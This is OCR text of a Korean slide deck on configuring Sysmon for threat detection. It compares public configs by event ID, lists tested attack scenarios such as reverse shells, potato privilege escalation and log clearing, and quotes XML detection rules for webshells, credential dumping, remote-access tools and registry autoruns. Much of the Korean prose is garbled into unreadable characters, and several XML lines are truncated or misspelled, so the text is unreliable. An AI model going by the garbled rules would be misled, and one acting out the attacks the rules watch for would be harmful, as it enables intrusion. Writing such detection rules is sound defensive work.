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= Configure OO MO|=l E H|W A

- golE = ==1} 20| thet £8 A > 2 U0l A O[HIE B = Holor S 22 Tt

N X S, @ BF VIR, - 7I=5HK| ¢ A FHYER| oS, ©: 2T 1%, — IS5 oS

SwiftOnSecurity Neo23x0 - trace Neo23x0 - sysmon olathartong SwiftOnSecurity Neo23x0 - trace Neo23x0 - sysmon olathartong
OHIE ID OHIE & OMIE ID OJHIE &H
include | exclude | include | exclude | include | exclude | include | exclude include | exclude | include | exclude | include | exclude | include | exclude

1 Process Create AN 138 PN 18 AN 147 298 176 17,18 PipeEvent 9 FaN A 3 49 3 16 65

2 File Creation time changed 3 9 @ 3 9 6 7 19,20, 21 WmiEvent @ - @ ©

3 Network connection detected 84 9 A 28 100 14 145 29 22 DNSEvent, DNS query Fa 209 FaY 1 Fa 208 -

4 Sysmon service state changed © © 9 ® 23 FileDelete, File Delete archived - - - 938 7

5 Process terminated 2 - @ &) 3 Fay 24 Clipboard changed - © - -

6 Driver loaded Fay 3 @ © - 25 Process Tampering - @ - FaY 15

7 Image loaded - F 20 5 A 67 14 2 File Delete logged - A 3 - 40 7

8 CreateRemoteThread detected Fay 9 @ Fay 9 2 9 27 File Block Executable - - 223 Fa -

9 RawAccessRead detected - Fay ] - - 28 File Block Shredding - - 713 FaY -

10 Process accessed - JaN 50 4 2 42 62 29 File Executable Detected = = - ©

11 File created 53 1" JaN 15 82 12 103 30 255 Error report (@] © ® ©
12,13,14 RegistryEvent 114 52 PN 43 133 52 246 P

15 File stream created 19 - © @ ©

16 Sysmon config state changed © © © ©
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ProcessTerminate, Process Create, Sysmon Service State Changed,
Sysmon Config State Changed, Error Report

NetworkConnect, File CreateTime, FileCreate, ProcessCreate,
(RegistryEvent) Valueset

(RegistryEvent) Object Added or Deleted, Process Access,
(RegistryEvent) Value set, ImagelLoaded, FileCreate

FileCreated, NetworkConnect, FileCreateTime, ProcessAccess,
ProcessCreate

NetworkConnect, (RegistryEvent) Value set, FileCreateTIme,
ProcessAccess, Image Loaded
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e ApE | o AR e e A7E el e A1l e
B A S8 oy Il 4 (IS, ASP) CMD & S8t M4 CMD & Saiff 44 PEUS BU4H
A4 Prr) el MH
4y  ABI8 S8 1 TR 4 (Apache, PHP) Windows 518 E8t 4 ARIAEE| BE| Goged)® S3f 4 EE S Gnft + Delete)
Windows Explorer 8 £ 11 24 HASIE w7 CMD & £5) Name, Value 45 - Host to USB (Ctrl + ¢/ Ctrl+v)
YR AE +3 Host to USB (S0 % =&)
Windows Explorer & S8 ItY 43 =3 a8 ¥z BXIAES| TE7| (regedi)E E3H Name, Value $% &=
ES = 2 GASE O R
- YAE BY D2TgS S8 IR 45 A L] . CMD & 55 Name, Value 43 =W 53 AA38 Rl everse RDP
Chrome HAI9TE £t [je2C CMD & S8t A%| ARIAER| BE7| (regedit)E &3l Name, Value +8
A
Microsoft Edge HBSXE S8 Cjeat Windows &H8 S8t K| 274d -
% | =4
= Naver Whale H2i%ig S8t [I22C _ E7& 82 U3 (BadPotato) HERa ARAS 212 -
s
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- PowerSholl 3 S8 figzs =78 53 4% (uicyPotato) VPN 22 -
” PowerShell & S8 22 4%
st AtH| (Delete) ek PowerShell o il
] o1 ATEE A%
2451 AT (Shift + Delete) 20 nbound ROP o1 ATEE Y
== - Reverse Shell oD CMD & 83t &3 4%
EERY bat ATZE A
oy e Outbound ROP EEREL bat ATYE 4
ox 0] 3: xp_cmdshell -
Cl+ o/ Cr +v BIRANE Inbound PR Y B =
=i N - PowerShell
P ] — psaxee
wxl - CMD 4
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A Windows Explorer & S8 2¢ 44 Al orM MY g
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25 Windows Explorer & £t 0 3 e OfE|2ilA| OMIEZ] AtH| wevtutil.exe B A%
st ALF (Delete) - WEZT A — 22
e CMDE Bt 48 O[HIERT At OHIE R0{(eventwwr.msc) 22
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HAE X8
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. sHolo|m= g 22 HAE A1
oT | L= ysmon E
E S = T2 = S :‘ Ol#IE D OHIE 25 O|HE &3

File created
RuleName: -
UtcTime: 2023-08-28 04:37:34.918
ProcessGuid: {CB83F40B-23EF-64EC-6922-000000000B00}

o e d MHE S8 oy Y W (1S + ASP) 11 File created (rule: FileCreate) Processld: 2604

Chrome H2}2HE S8 [1o2C

Microsoft Edge 2212 M E S3H IRZC

dolsf fle =eters =

3
n
Ho
Hu
In

PowerShell 382 S% CI2EE(1)

15 File stream created (rule: FileCreateStreamHash)

15 File stream created (rule: FileCreateStreamHash)

15 File stream created (rule: FileCreateStreamHash)

11 File created (rule: FileCreate)

Image: ¢:'windowshsystem32\inetsrviw3wp._exe

TargetFilename: C:\Windows\Microsoft. NET\Framework64\v4.0.30319\Temporary ASP.NET Files‘root\e22c2559\92cTe946\uploadsimSjbgubn.post
CreationUtcTime: 2023-08-28 04:37:34.918

User: IS APPPOOL\DefaultAppPool

File stream created:

RuleName: -

UtcTime: 2023-07-31 04:51:08.598

ProcessGuid: {faSc402e-3dba-64c7-3304-000000000900}

Processld: 6776

Image: C:\Program Fil hi | { exe
TargetFilename: C:\Users\user\Downloads\7z2301-x64.exe
CreationUtcTime: 2023-07-31 04:51:05.213

Hash: SHA1=7DF28D340D7084647921CC25A8C2068BB192BDBB, MD5=E5788B13546156281BF0A4B38BDD0901
Contents: -

User: DESKTOP-QBDACQAUser

File stream created:

RuleName: -

UtcTime: 2023-07-31 05:27:11.742

ProcessGuid: {fabc402e-462f-84c7-7f04-000000000900}

Processld: 4436

Image: C:\Program Files (xSG)\Mlcmsoﬂ\Edge\Appllcauon\msedge exe
TargetFilename: C:\U \ zip

CreationUtcTime: 2023-07-31 05:27.09.770

Hash: SHA1=226360E6B99EE2E2E29F8DB442A863B3CAFESOCC, MD5=F040A706D9F5F 118ESE2DAF 1BESF2BBB
Contents: -

User: DESKTOP-QBDACOAuser

File stream created:

RuleName: -

UtcTime: 2023-07-31 05:49:40.768

ProcessGuid: [fa5c402e-4b73-64c7-0c05-000000000900}

Processid: 10632

Image: C:\Program Fil \Naver Whale\ ication\3.21.192. exe
TargetFilename: C:\L Y (1).zip
CreationUtcTime: 2023-07-31 05:49:32.723

Hash: SHA1=226360E6B99EE2E2E20F8DB442A863B3C8FES0CC, MD5=F040A706D8F5F 118ESE2DAF 1BESF2BBB
Contents: -

User: DESKTOP-QBDACOAWSer

File created:

RuleName: -

UtcTime: 2023-07-31 06:10:47.543

ProcessGuid: {faSc402e-4fa1-84c7-1f05-000000000900}

Processld: 8768

Image: C werShelliv1 exe
TargetFilename: C:\Users\useriDesktop\AnyDesk.exe

CreationUtcTime: 2023-07-31 06:10:47 543

Llane NCOWTAD AZNA .
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= github.com/Plainbit/BIT-sysmon-config

O Product Solutions Open Source Pricing Search or jump to... Signin ‘ Sign up ‘

[ Plainbit / BIT-sysmon-config Public L nNotifications % Fork 0 Y¥ Star 0~

<> Code (© Issues 1% Pull requests ® Actions [ Projects Q Security [~ Insights

[0 Files BIT-sysmon-config / BIT-sysmon-config.xml &
5 - Q plbsyn Add files via upload c1f31d7 - 2 months ago @History
Q. Gotofile
‘ Code ‘ Blame 1764 lines (1677 loc) - 134 KB Raw LQ & \E]
| [ BIT-sysmon-config.xml ==
[ LICENSE Lo
2
[ README.md 3 M i i HHEHHEE R sHFHE S
4 ## o #E #HO#E B OB OB #H #H
5 ## o #E #HO#E B OB OB #H #H
6 HHEHEE HHEHEE B M HEEEE ## #H
7 ## ## #HOO#E B OB OB #H i
8 ## ## #HOO#E B OB OB #H i
9 ## EHEHEEE B EH HEEE B B HEEEE #H
10
11 BEMEE OB HEEBE BB BEBEE HESBEE HEHEEE O SHEEE BRI BEBESE HEEE HEEEE B8 BE BUEBBE  SBSEHES
12 HEOOEE RO P M OHE B B R BB B # HEOHE OB #E OB B B H HOOHE #E BR OB B o
13 ## o o HHEEOEE OB B H # #H A £ ## FUE A
14 i M HENEE SO B OB B s 8 ## HOHE B #E HEHE ## ## BB B BE gESEmR paas
15 ## # #HO#E #E OHE # # 8 ## #HE #E #E B # ###H #F BE #E B
16 ## ## # B OB O #E HE HE HE ## #HOHE OB #E OHE B B ## ## O #H #F BE #E B
17 s ## HHEHHE B #F HEHHE # ## R HE O # HE i HEHEE  #EBEE HE #B sHEEER
18
19 -
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= XIA] | =
=43 eE
O|#IE ID OIHE & A IIE O[HIE ID OHIE 3F e 7lE
o MMEI= DSHANN AR EX gl 15 FileCreateStreamHash | + ¥ H2IRXE Solf 340| E2&= LY dd &5 &0l
1 ProcessCreate TAL L2MAQ O3t O[HIE 221 &K
. o
[=X=] |— | -In_ ||_— o -‘-I—|§I' 1718 PineE . OI'A‘i ]:[EJ_EHE EEH ',‘;',*é'l, ﬁgElaA-l |:IO:|I:(ID=|EI_| Plpe éx_-! i}ﬂ
, ipekEvent
2 FileCreateTi « SAKOl 3t 32 =7 ARZE ZE @9 (Wd ZA) BX P o AAR ZRMAOM 4N, HAZHA BHE Pipe 7t 22 &= OJHIE £/X35t
lieLreate lime
« MAFID A Q AA{ ©I A E 71 x|XE
B4 JENA0L 210 Ua BN 3 OIS 24 HRet | © BWEWMI B AISH ALY HE 4T, IS U8, ZTAO| A22 B85k
- - 19,20,21 | WmiEvent SxS Solal| 2 =
- HEYI HHES S5l $35Hs @9l X EXE 2RI517| ?IsH 2= WMI OJIE 2
3 NetworkConnect RAbRIO] HIE S o -
* BYH HIERT Ao ORIE 2 AR - 37 BHO ME= DNS H2AZ BXEP| Y 2E DNS M2l OMES
) _ 15 A u = = olo= Ashs | o=
5 ProcessTerminate . ERE= DTRHANM 22X EX 50| 22 DnsQuery EZSAICE Y DNS #H2|2| PIT7t Z0F ABAL HRE +8etHM 22 He
4 DNS #2| O[MIE x|X5}
+ AARI 2EE[E S2t0[HOIM SHAS| 25 &0 R
6 DriverLoad HAIEIOl CR0[H7} AIAS0| 2C Sl 221 Sl O[ME XTI ” FileDelst + 32 PN I AH| =5 2ol
. XO| = A 0 = O[HIE XX ileDelete I
°° s A Z2AM F7IMOZ T ARl A| 22 &= OJMIE FXs}
o O2 A0 25 Chl= DENA ZHXF S5 50|
7 Imagel.oad jmgl E}LE;' ;;:3111;52 “;lmTE“ —_— © AAE SEEC 0| HHE o OMER 2 =Hof 34X EXg 7R
e - = e HE Vie= =5 24 ClipboardChange Alst 4 QIX|OF 1A= HI0|E7} ArchiveDirectory Off 2HISH MATH AJAH
« X SOE o] o ZTEMAN M T2HA AYE MM EX S0 AS| S TR I= RE WX| ffoh H|IZLs
8 CreateRemoteThread = = I
+ Y AAE ZEMATLOE T2HANM AZE Ed Al 22 E= OMIE 2[x3} ”s . N _ o O2MA 7|8t EIX| S|I] 2HOZ O HSMAZ A DAL HESE 2
rocessTampering e i a oy e
g RawAccessRead « D2MAJ} A0 TSt Raw Sector &2 97| XY +35l= S SXIE & EXs 2QI5| 2fe ZE TRAA HE OHIE EX|
awACccesshea
0|0 A o odist A 0O -Ad - _ -
UL ALY SIS RO = 2U0f HlzEs 26 | FileDeleteDetected | + RZKIS| T AR| SHS OMER 22/517| HZ0] HIZAISH
10 | ProcessAcosss - XASY A, BN SN S& A Ty S2AS B 24 & - B OMER AAHO| £ 20| MY 0] MHEs Hg BX 2 A
. p | o= 4 27 FileBlockExecutable ) s
B4 Z2HAIL O 2420 82 Al 22 =iE OIS A=e; THSBILL, QIol2 A5 Al AIATIO) S 71 2 210f Hl2s)
1 | EieCreats © MSE SH B8EE T 49 B4 2 I + B OMIER AlARlo] SH Z20|M TUO| 2 MRSl HIS HX| Y Fto|
+ HY DRMAVF IIUS Wl 22 He 0JRIE 2Xst leblockshredaing TRSSILE, QO] A A| AJARI] FEKS N|A 4 Q7| HR0] H|ZHs}
¢ HRAES| 7| EE o B8N/ &Y = o DOl BEE= MY DUS MMGH= BXMS BQI8 & QOL} FileCreate
12,13,14 | RegistryEvent + Ha DEMAT YXAER| 7| Ex U2 MY/SH/AEH A 2L EE OIE 29 FileExecutableDetected OMIES Sl THXZL AAHY| DIYS WSt 25 22
Z|Hs} + [M2tA, PowerShell 0l 445H A3l Mt =22
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o
>

E BMg Edff £X| 7153t MITRE ATT&CK H&

ATT&CK Matrix for Enterprise

layout: side ~ show sub-techniques  hide sub-techniques

Reconnaissance Resource Initial Access Execution Persistence Privilege Defense Evasion Credential Discovery Lateral Collection Command and  Exfiltration Impact
Development Escalation Access Movement Control
10 techniques 8 technigues 10 techniques 14 techniques 20 techniques 14 techniques 43 techniques 17 techniques 32 techniques 9 technigues 17 techniques 17 techniques 9 techniques 14 techniques
Active Scanning (3 Acquire Access Content Cloud Account Abuse Elevation Abuse Elevation Adversary-in- Account Discovery (4 Exploitation of Adversary-in- Automated Account Access
Injection Administration Manipulation (g Control Control Mechanism (5 the-Middle (3 Remote the-Middle (3 Exfiltration (1) Removal
Gather Victim Host Acquire Command Mechanism (s, Application Window Services
Information (4 Infrastructure (s Drive-by BITS Jobs Access Token Brute Force 4) Discovery Archive Data Transfer Data Destruction
Compromise Command and Access Token Manipulation (g, Internal Collected Communication Size Limits
Gather Victim Identity Compromise Scripting Boot or Logon Manipulation (5 Credentials Browser Information Spearphishing Data (g Through Data Encrypted
Information (3 Accounts (g Exploit Public- Interpreter (g Autostart BITS Jobs from Discovery Removable Exfiltration for Impact
Facing Execution (14) Account Password Lateral Tool Audio Capture Media Qver
Gather Victim Compromise Application Container Manipulation () Build Image on Host Stores (g Cloud Infrastructure Transfer Alternative Data
Network Infrastructure (7 Administration Boot or Logon Discovery Automated Content Protocol (5 Manipulation (3
Information (g) External Command Initialization Boot or Logon Debugger Evasion Exploitation Remote Collection Injection
Develo? Remote Scripts (5) Autostart for Credential Cloud Service Service Exfiltration Defacement (5
Gather Victim Org Capabilities 4 Services Deploy Container Execution (4 Deobfuscate/Decode Access Dashboard Session Browser Data Over C2
Information (4 Browser Files or Information Hijacking (o) Session Encoding (5 Channel Disk Wipe (5
Establish Hardware Exploitation for Extensions Boot or Logon Forced Cloud Service Hijacking
Phishing for Accounts (3 Additions Client Execution Initialization Deploy Container Authentication Discovery Remote Data Exfiltration Endpoint Denial of
Information (4 Compromise Scripts (s) Services (g Clipboard Data Obfuscation (3) Qver Qther Service ()
Obtain Phishing () u Inter-Process Client Software Direct Volume Access Forge Web Cloud Storage Object Network
Search Closed Capabilities 5 Communication (3 Binary Create or Credentials () Discovery Replication Data from Dynamic Medium (4 Financial Theft
Sources (g Replication Modify System Domain Policy I Through Cloud Storage Resolution (g
Stage Through Native API ‘Creale . Process ia Modification Input Container and Removable ‘ - Exfiltration Firmware
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F2 =23 (1/9)

=  ProcessCreate

o )gl)k | ng*ﬂ)\oﬂ I:Hol- x—IE j|§ (]IEA-”A mE I[Ek”

o AMME|IL T2 M ANA _Ljdxfg bS ix=1e]

[oNe] = -

<!-- Event ID 1. Process create -->
<!-— H#%: Process create OMEE= MZ HHE Z2MHA0 cist FE2E Msoch. —->
<RuleGroup name="" groupRelation="or">
<ProcessCreate onmatch="include">
<Image condition="begin with">C:\PerfLogs\</Image> <!-- ZZi7 F= #

<Image condition="begin with">C:\$Recycle.bin\</Image>
<Image condition="begin with">C:\Users\Default\</Image>
<Image condition="begin with">C:\Users\Public\</Image>
<Image condition="begin with">C:\Windows\Fonts\</Image>
<Image condition="begin with">C:\Windows\Debug\</Image>
<Image condition="begin with">C:\Windows\Media\</Image>
<Image condition="begin with">C:\Windows\Help\</Image>
<Image condition="begin with">C:\Windows\system32\config\systemprof
<Image condition="contains">VolumeShadowCopy</Image>
<Image condition="contains">\Temp\</Image>

<Image condition="contains">\Downloads\</Image>

<Image condition="contains'">\Desktop\</Image>

<Image condition="contains">\Appdata\Local\</Image>

<OriginalFileName condition="is">PsKill.exe</OriginalFileName> <!-—
<OriginalFileName condition="is">xcopy.exe</0OriginalFileName>
<ParentImage condition="image">mshta.exe</ParentImage> <!-- Microso
<CommandLine name="Remote Commands" condition="contains all">cmd;/c
<OriginalFileName condition="is">at.exe</OriginalFileName>
<OriginalFileName condition="is">devicecredentialdeployment.exe</Or
<OriginalFileName condition="is">pnputil.exe</OriginalFileName> <!-

<OriginalFileName condition="is">ScreenConnect.exe</OriginalFileNam
<OriginalFileName condition="is">Socks.exe</OriginalFileName>
<OriginalFileName condition="is">Socks2.exe</OriginalFileName>
<OriginalFileName condition="is">winscp.exe</OriginalFileName>
<OriginalFileName condition="is">ProcessHacker.exe</OriginalFileNamn|
<OriginalFileName condition="is">psexec64.exe</OriginalFileName>
<OriginalFileName condition="is">file64.exe</OriginalFileName>
<OriginalFileName condition="is">Backstab.exe</OriginalFileName>

FIND TRUTH, SEEK JUSTICE.
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=8 & 28F(2/9)

= FileCreateTime Changed

« Oz Adg AIZIO] Z2XM|A0f 28 =82 I 7|F

© B0l o3t B2 £ MY UA| HE 89| T

<!-- Event ID 2. File creation time changed -->
<!-- #9%: File creation time changed OMEE: WY dd A7H0] 32 0 7|IS2C, -->
<RuleGroup name="" groupRelation="oxr"> U %7:04 %E—-I LH A<|>'|Ao'| oe'*l Ifl_:l_jli E|:|I-I|
<FileCreateTime onmatch="include">
<Image condition="begin with">C:\Temp\</Image> <!-- C:\Temp 5% ZZ0A ZHo= 454 (CWTemp CWWIndOWSWTemp C.Wusers)
<Image condition="begin with">C:\Windows\Temp\</Image> <!-- C:\Windows\Temp 3% ! !
<Image condition="begin with">C:\Users\</Image> <!-- C:\Users ot Z2UN 24zt 44
<TargetFilename condition="end with">.exe</TargetFilename> <!-- .exe AR O3t 4 u " SEXE S AHAd Ol [
X Ef
</FileCreateTime> " exe %!-Oxl-c}” EHﬂ- (ID-I o E*l (L I:le
</RuleGroup>
<RuleGroup name="" groupRelation="or">
<FileCreateTime onmatch="exclude"> _*_jl 7&!5_ |AEI-6-OH X|_i\_ '_'LI_-I_C.)I__I' AOI‘% %PO-I _("il]:[l Xl-jﬁd%% EE-
<Image condition="image">OneDrive.exe</Image>
<Image condition="contains">setup</Image> HiD s o= PN odz4 ol o= o1k
== (o)
<Image condition="contains">install</Image> == — |—:| Ol o —d [SRSEES X‘HO'I EIlOlE:I = o o

FIND TRUTH, SEEK JUSTICE. 18
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=2/ E 2Y(3/9)

=  NetworkConnect

. AlAEIO| HEYA ¢1Z HE(TCP/UDP)S J|E (P =4, RE #3, T2HA 5)

I

- HESZ PE= ol ~dot= Al HA

<!-- Event ID 3. Network connection detected -->

<!-- d%: Network connection detected OMIEE AAHO HEQI @ZO| 7|SECH, —->

<RuleG =nu Relation="or"> 2174 = =] X=X = = ojZAd Et

uleGroup name groupRelation="or n -<ID__I0" = QEI‘OE_II_ IIE I_:'E I:le
<NetworkConnect onmatch="include'">
<!-- Ports Detected -->
<DestinationPort name="SSH" condition="is">22</DestinationPort> <!
. . . . ) . 1 (@) = = = Sk=

<DestinationPort name="Telnet" condition="is">23</DestinationPort> — "O_jﬁ:ixl'jl' I:”ET EE %OH *Ii%’ E|:'I-A—}|i0'" TE *f%of: EE*‘"& %FXI

<DestinationPort name="SMTP" condition="is">25</DestinationPort> <
<DestinationPort name="IMAP" condition="is">143</DestinationPort>
<DestinationPort name="SMB" condition="is">445</DestinationPort> < o ol o C 3HO| E

<DestinationPort name="RDP" condition="is">3389</DestinationPort> - PowerSheHE I:”E‘r-lio'”*-l ]Il-E El-_"—_i_ OHTl I-xl
<DestinationPort name="VNC" condition="is">5800</DestinationPort>
<DestinationPort name="VNC" condition="is">5900</DestinationPort>
<DestinationPort name="Proxy" condition="is">1080</DestinationPort]

<DestinationPort name="Proxy" condition="is">3128</DestinationPort = PN . PN . =
<DestinationPort name="Proxy" condition="is">8080</DestinationPort —;Ejl XE!E_ IAEI?ZI;! X|—_‘|— __rll_;lol_l- AC)}-S I:IOI-0-| S')'l]:[l XP—:!S%' xl:-II_:L
<DestinationPort name="Tor" condition="is">1723</DestinationPort>

<DestinationPort name="Tor" condition="is">9001</DestinationPort> Hel'?_:' éllj_:l Ol% _)Ik_ﬂ %‘qu Etl X‘”O‘I I:_-”OlE_-I _ﬁ_% %’(&5}#
<DestinationPort name="Tor" condition="is">9030</DestinationPort>

FIND TRUTH, SEEK JUSTICE. 19
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=8 & 297 (4/9)

= |mageload

« IZE2NA0M E=0| 2EE M 7|5

. DERAAO| ot REE|= BEOM A EX SOl

<!-— Event ID 7. Image loaded ——>
<l-- 2%: Image loaded OMEL Z=2hA0jA 2E0| 2cg 0y 7|Z"cH, ——>
<RuleGroup name="" groupRelation="or">

- AW} F2 Vot AlAH Y20IN ZEE DLL S

<ImageLoad onmatch="include">
<Rule name="PowerShell" groupRelation="and">
<0OriginalFileName condition="is">amsi.dll</OriginalFileName .
<Image condition="excludes any">powershell.exe;powershell i L] EEA‘"ﬁ olx'"A:IO‘" QF%EIE DLL EE EI:II-X|
</Rule>
<Rule name="Startup Items" groupRelation="and">
<Image condition="end with">bginfo.exe</Image>
<ImagelLoaded condition="contains any">System.ni.dll;System.
</Rule>
<Imageloaded name="BITS" condition="end with">bitsproxy.dll</Im
<Rule name="Process Injection" groupRelation="and">

u
=

>

=
=
!
[
n
rr

2f DLL oA EX|

<OriginalFileName condition="is">elr.dll</OriginalFileName> P~ x| E AlSH A S AFA HF - o<
o = J4=x=04 d1
<Image condition="excludes">C;\Windows\Microsoft.NET\</Imag —'—jl o T =] x| = |_'I J oo Oo-i 9—|]I| xl- 1O O Hi—
</Rule>
-
<Rule name="Process Injection" groupRelation="and"> HE}'jd él?_:‘ OI% -)Fjél %‘Eé Etl X‘”O‘I E”OIE.‘I ‘IQI'% %%k
AricginalFileName condition="is">~lriit A1l</OriainalFileN

FIND TRUTH, SEEK JUSTICE. 20
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=8 & 2Y(5/9)

= (CreateRemoteThread

« ID2RNAJICHE T2 MAGM A EE MEe M 71=

o HADTRAMAC Y ZEMA AZE MY SH 240l

<l-- Event ID 8. CreateRemoteTread detected --—>
<!-— Mo: CreateRemoteTread detected OMIEE ZZMAJ} CIE ZZMA0M ACSE Mdg o 7|=2EC. —>
<RuleGroup name="" groupRelation="or'">
<CreateRemoteThread onmatch="include"> n |AE‘” al -”EO_I - I- ||:|0-|| ‘I I:”'AH |i = Q j:' A '”l: AHA" EI‘ |

<SourceImage name="Process Injection" condition="begin with">C:\</Sourcelmage>
<Sourcelmage name="Process Injection" condition="begin with">\\</SourceImage>
</CreateRemoteThread>

</CreateRemoteThread>

</RuleGroup>
<RuleGroup name="" groupRelation="or">
<CreateRemoteThread onmatch="exclude"> <!-- O[{ES 0| L#AF|& AAY ZEMAS X He| ——>

<SourceImage condition="is">C:\Windows\system32\wbem\WmiPrvSE.exe</SourceImage>
<SourceImage condition="is">C:\Windows\system32\svchost.exe</Sourcelmage>
<Sourcelmage condition="is">C:\Windows\system32\wininit.exe</Sourcelmage>
<Sourcelmage condition="is">C:\Windows\system32\csrss.exe</Sourcelmage>
<Sourcelmage condition="is">C:\Windows\system32\services.exe</Sourcelmage> "
<SourceImage condition="is">C:\Windows\system32\winlogon.exe</Sourcelmage> _*_j jé!-%- )él OOH I —)_‘|\—
<SourceImage condition="is">C:\Windows\system32\audiodg.exe</Sourcelmage>
<StartModule condition="is">C:\Windows\system32\kernel32.dll</startModule>
<TargetImage condition="is">C:\Program Files (x86)\Google\Chrome\Application\ch! HE ?_:' él?_:" O |% —?xbl I:.‘” 0 | E_'I %%

FIND TRUTH, SEEK JUSTICE.
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=2 E 27 (6/9)

=  ProcessAccess

« ID2NAJICHE T2 M|AN 2 I 2|5

© XEE

Jtot

S, X 3|1 52 A% HY ZRMAER E

3

<Sourcelmage
<Sourcelmage
<Sourcelmadge
<Sourcelmadge
<Sourcelmage
<Sourcelmage
<Sourcelmage
<Sourcelmage
<Sourcelmadge
<Sourcelmadge

<!-- Event ID 10. Process accessed —-->
<l-— 2%: Process accessed OME: ZZM27t 02 ZEZH20 F2T 0 7|50, -—>
<RuleGroup name="" groupRelation="or":>

<ProcessAccess onmatch="ineclude">

condition="begin with">C:\PerfLogs\</Sourcelmage>
condition="begin with">C:\§Recycle.bin\</Sourcelmage:>
condition="begin with">C:\Intel\Logs\</SourceImage>
condition="begin with">C:\Users\Default\</SourceImage>
condition="begin with">C:\Users\Public\</SourcelImage>
condition="begin with">C:\Windows\Fonts\</Sourcelmage>
condition="begin with">C:\Windows\Debug\</Sourcelmage>
condition="begin with">C:\Windows\Media\</SourcelImage>
condition="begin with">C:\Windows\Help\</SourceImage>
condition="contains">\Temp\</SourceImage>

<Rule name="Credential Dumping" groupRelation="and":>

oU

<TargetImage condition="is">C:\Windows\system32\csrss.exe</TargetI)
<GrantedfAccess>0x1F1FFF</GrantedAccess>

</Rule>

<Rule name="Credential Dumping" groupRelation="and">
<TargetImage condition="is">C:\Windows\system32\wininit.exe</Targe
<GrantedAccess>0x1F1FFF</GrantedAccess>

</Rule>

\d
n)a

Pt
4m
nx
ba

Yol 2|

o o2

mE
Y
A4
r2
ofn
o | AP

HOlE &=

1

<Rule name="Credential Dumping" groupRelation="and">

AAHSE E2
I
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=R/ E2Y(7/9)

= FileCreate

Il

<TargetFilename
<TargetFilename

<Rule name="IIS

<1 Event ID 1l1. File created >

<l-- 4%: File created 0EE ZEAH 27t MYS WYL Fojg 0 7|=ZEC}.

<RuleGroup name="" groupRelation="er">

<FileCreate onmatch="ineclude":>

<TargetFilename condition="begin with">C:\PerfLogs\</TargetFilename> <!-- ZZIJ} T2 MEs: A2E
<TargetFilename condition="begin with">C:\Users\Default\</TargetFilename>
<TargetFilename condition="begin with">C:\Users\Public\</TargetFilename>
<TargetFilename condition="begin with">C:\Windows\</TargetFilename>
<TargetFilename condition="contains">\Temp\</TargetFilename>
<TargetFilename name="Desktop" condition="econtains">\Desktop\</TargetFilename>
<TargetFilename name="Downloads" condition="contains">\Downloads\</TargetFilename:>
<TargetFilename condition="end with">.omd</TargetFilename:>
<TargetFilename with">.bat</TargetFilename> <!-- Ba Script mMY0 ¥45lEe S ©X
<TargetFilename with">.vbs</TargetFilename> <! VisualBasic Script Iigo] #d&e 3
<TargetFilename with">. exe</TargetFilename>
<TargetFilename with">.psl</TargetFilename>
<TargetFilename with">.hta</TargetFilename>
<TargetFilename condition="end with">.dll</TargetFilename>
<TargetFilename condition="end with">.iseo</TargetFilename>
<TargetFilename name="Application Shimming" condition="begin with">C:\Windows\AppPatch\Custom<
<TargetFilename name="Task Scheduler Created" condition="begin with">C:\Windows\Tasks\</TargetF
<TargetFilename name="Task Scheduler Created" conditio begin with">C:\Windows\system32\Tasks
<TargetFilename name="Task Scheduler Created" condition="begin with">C:\Windows\SysWOW64\Tasks
<TargetFilename name="WMI" condition="begin with">C:\Windows\system32\Wbem</TargetFilename:>
<TargetFilename name="WMI" condition="begin with">C:\Windows\SysWOW64\Wbem</TargetFilename>
<TargetFilename name="PowerShell" condition="begin with">C:\Windows\system32\WindowsPowerShell
<TargetFilename name="PowerShell" conditicn="begin with">C:\Windows\SysWOW64\WindowsPowerShell
<TargetFilename ="begin with">C:\Windows\system32\Drivers</TargetFilename:>
<TargetFilename ="begin with">C:\Windows\SysWOW64\Drivers</TargetFilename>
<TargetFilename dition="contains">\Startup\</TargetFilename> <!|-— A|2" A% Al A2 AEEHs 200

<Image condition;

condition="begin with">C:\Windows\system32\GroupPolicy\Machine\Scripts</Target}|
condition="begin with">C:\Windows\system32\GroupPolicy\User\Scripts</TargetFile

Webshell Created" groupRelation="and"> <!-- IIS BMY Z242E S8 Ldg @2 =X —->
mage " >w3wp.exe</Image>

T2AMA,

=

(“C:WWindows
opy THUOIN F2 Al
IS ¥ MH ZEMAE S
A A=
Al ZH0

Windows Defender

AXPL =2 AFRSH= A|A
PRI AT Al

<TargetFilename condition="contains any">.asp;.aspx;.ashx;.jsp;.jspx;.php</TargetFilename>

</Rule>
= 15 . =

<Rule name="Defender Malicious File Detected" groupRelation="and"> <!-- Windows Defender®id 24 _*_j x|:!—|— IAEOOH t(')}- 2 ]I x j—:|| o DC:)| xb-'l [

<Image condition="image">MsMpEng.exe</Imnage>

<TargetFilename condition="contains any">\Quarantine\;\Scans\</TargetFilename> ' :| — :| . 15k
ruien HE £H 0|5 1018 &= B

=1 =T 0|3 HIOJE © o
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=8 = 27 (8/9)

= RegistryEvent

» 2X[AEZ| 7| EE s dd, = ARE W OI=

¢ BXAER| 3| Ei 3 AN/ST/AR| B ol

- Event ID 12/13/14. Registry Events -->
-- Event ID 12. Object added or deleted -->

Event ID 13. Value set --> gy =
Event ID 14. Object renamed —-> L] xl’% )\Elocg C)OI-% Enl-xl
& Regi Eventstc EZMAZL #xlAEa| 7] £ 8 84, 4d, +3, 05¥zY © 7|S5gc.-->
<RuleGroup name groupRelation="or">
<RegistryEvent onmat "include">

<TargetObject ="Defender Disabled" conditi

<TargetObject ="Defender_Real-Time Protection Disabled" condition L '?;-Ij—:! E”ii% ?_4724’ EE Ifl_j(;' Eé"Xl

<TargetObject Defender_FDlder/E‘ile Excluded" condition="begin with">HKLM\SOFTWARE\Micros

<TargetObject Registry Auto Run" con "contains">CurrentVersion\Run</TargetObject:>

<TargetObject Registry Aute Run" conc contains">CurrentVersion\Winlogon</TargetObj

<TargetObject "Registry Auto Run"

"contains'>CurrentVersion\RunOnce</TargetObje
= UAC A} 847 Efx|

contains">CurrentVersion\RunOnceEx</TargetOb
wdition="econtains">CurrentVersion\RunServicesOnce</Ta

<TargetObject nam ="Registry Auto Run"
<TargetObject name="Registry Autoc Run"

<TargetObject ="Registry Auto Run" contains">CurrentVersion\RunServices</Target

<TargetObject "Registry Auto Run" contains">Windows\System\Scripts</TargetObje

<TargetObject Registry Auto Run" contains">Policies\Explorer\Run</TargetObjec — SF A x4 H El_
<TargetObject Registry Auto Run" contains">CurrentVersion\Windows\Load</Targe . I_SA Ego‘” EHOI_I' = (5' |_j(;| [ x|

<TargetObject Registry Aute Run"
<TargetObject name="Registry_ Auto Run"

